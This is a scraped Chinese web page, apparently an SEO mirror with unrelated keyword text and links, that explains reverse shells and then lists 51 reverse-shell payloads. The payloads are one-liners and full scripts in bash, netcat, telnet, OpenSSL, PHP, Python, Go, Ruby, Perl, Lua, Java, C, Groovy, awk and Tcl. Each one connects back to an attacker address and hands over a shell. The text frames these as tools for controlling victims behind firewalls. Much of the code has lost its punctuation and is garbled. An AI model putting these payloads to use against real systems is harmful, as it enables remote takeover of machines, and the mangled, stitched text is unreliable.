当前位置: 首页 > news >正文

用别人网站名做长尾关键词h5营销型网站

用别人网站名做长尾关键词,h5营销型网站,泰安集团网站建设方案,平面设计画图软件什么是反弹shell#xff1f;反弹shell(reverse shell)#xff0c;就是控制端监听在某TCP/UDP端口#xff0c;被控端发起请求到该端口#xff0c;并将其命令行的输入输出转到控制端。reverse shell与telnet#xff0c;ssh等标准shell对应#xff0c;本质上是网络概念的客户… 什么是反弹shell反弹shell(reverse shell)就是控制端监听在某TCP/UDP端口被控端发起请求到该端口并将其命令行的输入输出转到控制端。reverse shell与telnetssh等标准shell对应本质上是网络概念的客户端与服务端的角色反转。为什么要反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。举例假设我们攻击了一台机器打开了该机器的一个端口攻击者在自己的机器去连接目标机器(目标ip目标机器端口)这是比较常规的形式我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢有如下情况1.某客户机中了你的网马但是它在局域网内你直接连接不了。2.目标机器的ip动态改变你不能持续控制。3.由于防火墙等限制对方机器只能发送请求不能接收请求。4.对于病毒木马受害者什么时候能中招对方的网络环境是什么样的什么时候开关机等情况都是未知的所以建立一个服务端让恶意程序主动连接才是上策。那么反弹就很好理解了攻击者指定服务端受害者主机主动连接攻击者的服务端程序就叫反弹连接。原生 (以bash为例)#!/bin/bashbash -c ... 2 /dev/nulltcp1.#!/bin/bashbash -i /dev/tcp/192.168.0.1/65535 012.#!/bin/bash# 使用域名bash -i /dev/tcp/host.domain/65535 013.#!/bin/bash0exec 196/dev/tcp/192.168.0.1/65535;bash 196 2196udp4.#!/bin/bashbash -i /dev/udp/192.168.0.1/65535 015.#!/bin/bash# 使用域名bash -i /dev/udp/host.domain/65535 016.#!/bin/bash 0exec 196/dev/udp/192.168.0.1/65535;bash 196 2196工具类NC7.#!/bin/bash nc -e /bin/bash 192.168.0.1 655358.#!/bin/bash /bin/bash | nc 192.168.0.1 655359.#!/bin/bash nc 192.168.0.1 65535 |/bin/bash10.#!/bin/bash rm -f /tmp/p; mknod /tmp/p p nc 192.168.0.1 65535 0/tmp/11.#!/bin/bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.0.1 65535 /tmp/fNCat12.#!/bin/bashncat 192.168.1.215 3000 -e /bin/bashTelnet13.#!/bin/bashtelnet 192.168.0.1 65534 | /bin/bash | telnet 192.168.0.1 6553514.#!/bin/bashmknod backpipe p telnet 192.168.0.1 65535 0backpipeOpenSSL15.#!/bin/bashmkfifo /tmp/s;/bin/bash -i /tmp/s 21 | openssl s_client -quiet -connect 192.168.0.1:65535 /tmp/s; rm /tmp/scryptcat16.#!/bin/bashcryptcat 192.168.0.1 65534 -k sec|cmd.exe|cryptcat 192.168.0.1 65535 -k sec程序类PHPphp -r ...17.?php error_reporting (E_ERROR);ignore_user_abort(true);ini_set(max_execution_time,0);$os substr(PHP_OS,0,3);$ipaddr 192.168.0.1;$port 65535;$descriptorspec array(0 array(pipe,r),1 array(pipe,w),2 array(pipe,w));$cwd getcwd();$msg php_uname() if($os WIN) { $env array(path c:\\windows\\system32);} else { $env array(path /bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin);}if(function_exists(fsockopen)) { $sock fsockopen($ipaddr,$port); fwrite($sock,$msg);while ($cmd fread($sock,1024)) {if (substr($cmd,0,3) cd ) { $cwd trim(substr($cmd,3,-1)); chdir($cwd); $cwd getcwd(); }if (trim(strtolower($cmd)) exit) {break; } else { $process proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);if (is_resource($process)) { fwrite($pipes[0],$cmd); fclose($pipes[0]); $msg stream_get_contents($pipes[1]); fwrite($sock,$msg); fclose($pipes[1]); $msg stream_get_contents($pipes[2]); fwrite($sock,$msg); fclose($pipes[2]); proc_close($process); } } } fclose($sock);} else { $sock socket_create(AF_INET,SOCK_STREAM,SOL_TCP); socket_connect($sock,$ipaddr,$port); socket_write($sock,$msg); fwrite($sock,$msg);while ($cmd socket_read($sock,1024)) {if (substr($cmd,0,3) cd ) { $cwd trim(substr($cmd,3,-1)); chdir($cwd); $cwd getcwd(); }if (trim(strtolower($cmd)) exit) {break; } else { $process proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);if (is_resource($process)) { fwrite($pipes[0],$cmd); fclose($pipes[0]); $msg stream_get_contents($pipes[1]); socket_write($sock,$msg,strlen($msg)); fclose($pipes[1]); $msg stream_get_contents($pipes[2]); socket_write($sock,$msg,strlen($msg)); fclose($pipes[2]); proc_close($process); } } } socket_close($sock);}?18.#!/bin/bashphp -r error_reporting(E_ERROR);ignore_user_abort(true);ini_set(max_execution_time,0);\$ossubstr(PHP_OS,0,3);\$ipaddr192.168.0.1;\$port65535;\$descriptorspecarray(0array(\pipe\,\r\),1array(\pipe\,\w\),2array(\pipe\,\w\));\$cwdgetcwd();\$msgphp_uname()if(\$osWIN){\$envarray(pathc:\\windows\\system32);}else{\$envarray(path/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin);}if(function_exists(fsockopen)){\$sockfsockopen(\$ipaddr,\$port);fwrite(\$sock,\$msg);while(\$cmdfread(\$sock,1024)){if(substr(\$cmd,0,3)cd){\$cwdtrim(substr(\$cmd,3,-1));chdir(\$cwd);\$cwdgetcwd();}if(trim(strtolower(\$cmd))exit){break;}else{\$processproc_open(\$cmd,\$descriptorspec,\$pipes,\$cwd,\$env);if(is_resource(\$process)){fwrite(\$pipes[0],\$cmd);fclose(\$pipes[0]);\$msgstream_get_contents(\$pipes[1]);fwrite(\$sock,\$msg);fclose(\$pipes[1]);\$msgstream_get_contents(\$pipes[2]);fwrite(\$sock,\$msg);fclose(\$pipes[2]);proc_close(\$process);}}}fclose(\$sock);}else{\$socksocket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_connect(\$sock,\$ipaddr,\$port);socket_write(\$sock,\$msg);fwrite(\$sock,\$msg);while(\$cmdsocket_read(\$sock,1024)){if(substr(\$cmd,0,3)cd){\$cwdtrim(substr(\$cmd,3,-1));chdir(\$cwd);\$cwdgetcwd();}if(trim(strtolower(\$cmd))exit){break;}else{\$processproc_open(\$cmd,\$descriptorspec,\$pipes,\$cwd,\$env);if(is_resource(\$process)){fwrite(\$pipes[0],\$cmd);fclose(\$pipes[0]);\$msgstream_get_contents(\$pipes[1]);socket_write(\$sock,\$msg,strlen(\$msg));fclose(\$pipes[1]);\$msgstream_get_contents(\$pipes[2]);socket_write(\$sock,\$msg,strlen(\$msg));fclose(\$pipes[2]);proc_close(\$process);}}}socket_close(\$sock);}19.?php $sockfsockopen(192.168.0.165535);exec(/bin/bash -i 3 23);?20.#!/bin/bashphp -r \$sockfsockopen(\192.168.0.1\65535);exec(\/bin/bash -i 3 23\);21.?php exec(/bin/bash -i /dev/tcp/192.168.0.1/65535);?22.#!/bin/bashphp -r exec(\/bin/bash -i /dev/tcp/192.168.0.1/65535\);Python#!bin/bashpython -c ...23.#!/usr/bin/pythonimport socket,subprocess,osssocket.socket()s.connect((192.168.0.1,65535))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)psubprocess.call([/bin/bash,-i])24.#!/bin/bashpython -c import socket,subprocess,os;ssocket.socket();s.connect((\192.168.0.1\,65535));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([\/bin/bash\,\-i\])25.#!usr/bin/pythonimport sys,socket,os,pty;ssocket.socket()s.connect((192.168.0.1,65535))for fd in (0,1,2): os.dup2(s.fileno(),fd)pty.spawn(/bin/bash)26.#!/bin/bashpython -c import sys,socket,os,pty;ssocket.socket();s.connect((\192.168.0.1\,65535));for fd in (0,1,2):os.dup2(s.fileno(),fd);pty.spawn(\/bin/bash\);27.#!/usr/bin/pythonimport socket, subprocesss socket.socket()s.connect((192.168.0.1,65535))while 1: proc subprocess.Popen(s.recv(1024),\ shellTrue,\ stdoutsubprocess.PIPE,\ stderrsubprocess.PIPE,\ stdinsubprocess.PIPE\ ) s.send(proc.stdout.read()proc.stderr.read())28.#!/usr/bin/pythonimport osos.system(bash -i /dev/tcp/192.168.0.1/65535 01)GoLangecho ... /tmp/t.go29.package main;importos/exec;importnet;func main(){ c,_:net.Dial(tcp,192.168.0.1:65535); cmd:exec.Command(/bin/bash); cmd.Stdinc; cmd.Stdoutc; cmd.Stderrc; cmd.Run()}30.package mainimport(logos/exec)func main() { cmdline : exec 5/dev/tcp/192.168.0.1/65535;cat 5 5; done cmd : exec.Command(/bin/bash, -c, cmdline) bytes, err : cmd.Output()if err ! nil {log.Println(err) } resp : string(bytes)log.Println(resp)}31.package mainimport ( os/exec)func main(){ cmdline : bash -i /dev/tcp/192.168.0.1/65535 01 cmd : exec.Command(/bin/bash, -c, cmdline)32.#!/bin/bashecho package main;importos/exec;importnet;func main(){c,_:net.Dial(tcp,192.168.1.215:3000);cmd:exec.Command(/bin/sh);cmd.Stdinc;cmd.Stdoutc;cmd.Stderrc;cmd.Run()} /tmp/t.go go run /tmp/t.go rm /tmp/t.goRubyruby -rsocket -e ...33.#!/usr/bin/rubyrequire socketrequire open3#Set the Remote Host IPRHOST 192.168.0.1 #Set the Remote Host PortPORT 65535#Tries to connect every 20 sec until it connects.beginsock TCPSocket.new #{RHOST}, #{PORT}sock.puts We are connected!rescuesleep 20retryend#Runs the commands you type and sends you back the stdout and stderr.beginwhile line sock.gets Open3.popen2e(#{line}) do | stdin, stdout_and_stderr | IO.copy_stream(stdout_and_stderr, sock)end endrescueretryend34.#!/usr/bin/rubyexit if fork;cTCPSocket.new(192.168.0.1,65535);while(cmdc.gets);IO.popen(cmd,r){|io|c.print io.read}end35.#!/usr/bin/rubyexec bash -i /dev/tcp/192.168.0.1/65535 0136.#!/bin/bashruby -rsocket -e exit if fork;cTCPSocket.new(192.168.1.215,3000);while(cmdc.gets);IO.popen(cmd,r){|io|c.print io.read}endPerl#!/bin/bashperl -e ...perl -MIO -e ...37.#!/usr/bin/perluse Socket;$i192.168.0.1;$p65535;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/bash -i);};38.#!/usr/bin/perl$pfork;exit,if($p);$cnew IO::Socket::INET(PeerAddr,192.168.0.1:65535);STDIN-fdopen($c,r);$~-fdopen($c,w);system$_ while;39.#/usr/bin/perlexec(bash -i /dev/tcp/192.168.0.1/65535 01)40.#!/bin/bashperl -e use Socket;$i192.168.1.215;$p3000;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh -i);};41.#!/bin/bashperl -MIO -e $pfork;exit,if($p);$cnew IO::Socket::INET(PeerAddr,192.168.1.215:3000);STDIN-fdopen($c,r);$~-fdopen($c,w);system$_ while;Lualua -e ...42.#!/usr/bin/lualocal host, port 192.168.0.1, 65535 local socket require(socket) local tcp socket.tcp() local io require(io) tcp:connect(host, port); while true do local cmd, status, partial tcp:receive() local f io.popen(cmd, r) local s f:read(*a) f:close() tcp:send(s) if status closed then break end end tcp:close()43.#!/usr/bin/lualocal socketrequire(socket);require(os);tsocket.tcp();t:connect(192.168.0.1,65535);os.execute(/bin/bash -i 3 23)44.local io require(io)io.popen(bash -i /dev/tcp/192.168.0.1/65535 01)45.#!/bin/bashlua -e local socketrequire(socket);require(os);tsocket.tcp();t:connect(192.168.1.215,3000);os.execute(/bin/sh -i 3 23);Javaecho ... /tmp/t.java46.public classRevs{/** * param args * throws Exception */publicstaticvoidmain(String[] args) throws Exception {// TODO Auto-generated method stub Runtime r Runtime.getRuntime(); String cmd[] {/bin/bash,-c,exec 5/dev/tcp/192.168.0.1/65535;cat 5 5; done}; Process p r.exec(cmd); p.waitFor(); }}Cecho ... /tmp/t.c47.#include #include #include #include #include #include #include #include #include #include #include #include #include voidusage();char shell[]/bin/bash;char message[]hacker welcome\n;int sock;intmain(int argc, char *argv[]) {if(argc 3){ usage(argv[0]); }struct sockaddr_in server;if((sock socket(AF_INET, SOCK_STREAM, 0)) -1) {printf(Couldnt make socket!n); exit(-1); } server.sin_family AF_INET; server.sin_port htons(65535); server.sin_addr.s_addr inet_addr(192.168.0.1);if(connect(sock, (struct sockaddr *)server, sizeof(struct sockaddr)) -1) {printf(Could not connect to remote shell!n);exit(-1); } send(sock, message, sizeof(message), 0); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execl(shell,/bin/bash,(char *)0); close(sock);return 1; }voidusage(char *prog[]) {printf(Usage: %s n, prog);exit(-1); }48.#include intmain(int argc, char *argv[]){ system(“bash -i /dev/tcp/192.168.0.1/65535 01”);return 0;}Groovyecho ... /tmp/t49.classReverseShell{static void main(String[] args) {String host192.168.0.1; int port65535;String cmd/bin/bash; Process pnew ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket snew Socket(host,port); InputStream pip.getInputStream(),pep.getErrorStream(), sis.getInputStream(); OutputStream pop.getOutputStream(),sos.getOutputStream();while(!s.isClosed()){while(pi.available()0) so.write(pi.read());while(pe.available()0) so.write(pe.read());while(si.available()0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50);try { p.exitValue();break; }catch (Exception e){} }; p.destroy(); s.close(); }}awk/gawk#!/bin/bashawk ...#gawk ...50.BEGIN{s/inet/tcp/0/192.168.0.1/65535;while(1){do{s|getline c;if(c){while((c|getline)0)print $0|s;close(c) } }while(c!exit);close(s) }}TCL脚本echo ... |tclsh51.set s [socket 192.168.0.1 65535];while 42 { puts -nonewline $s shell; flush $s; gets $s c;set e exec $c;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;
http://www.pierceye.com/news/513946/

相关文章:

  • 如何自己搭建网站做装修的业务网站
  • app网站的优点手机自助建站永久免费
  • 搜索栏搜索网站?热?文市场调研流程
  • 外贸网站建设课本建设网站群的好处
  • 网站开发文献综述范文网络推广计划书格式
  • 有免费网站服务器吗在线美图
  • 电商网站设计的原则免费下载app软件下载大全
  • 餐饮网站建设优化建站wordpress copyright
  • 腾讯建站官网设计网页步骤
  • 网站建设三方合同范本wordpress数字链接出现404
  • 下载用的网站怎么做网站模板怎么使用教程
  • 没有网站 可以做百度口碑吗展馆的科普网站建设
  • 河北网站备案查询系统商城网站seo
  • 网站申请页面网站空间不够用怎么办
  • 网站开发最合适的搭配螺栓球网架
  • 广东网站建设排名凡科建站下载
  • 建设厅网站预算员报名时间网站建设策划书的编制
  • 厦门手机网站建设公司哪家好鲜花网站源码
  • 北京家居网站建设如何制作软件手机软件
  • 北京网站建设策划解决方案长沙建设工程造价网站
  • 北京网站设计公司价格阿里云wordpress插件
  • 网站建设自助建站企业萧山人才网手机版
  • 长沙建站挺找有为太极wordpress 需要zend
  • 通信管理局 网站备案天猫网站设计教程
  • 营销型网站制作成都打造品牌的三点策略
  • 做查工资的网站如何下载网页在线视频
  • 北沙滩网站建设公司主页怎么填
  • 手机asp网站网站设计方案
  • 长春市网站开发广东一站式网站建设推荐
  • 企业网站推广策略商会联盟网站建设方案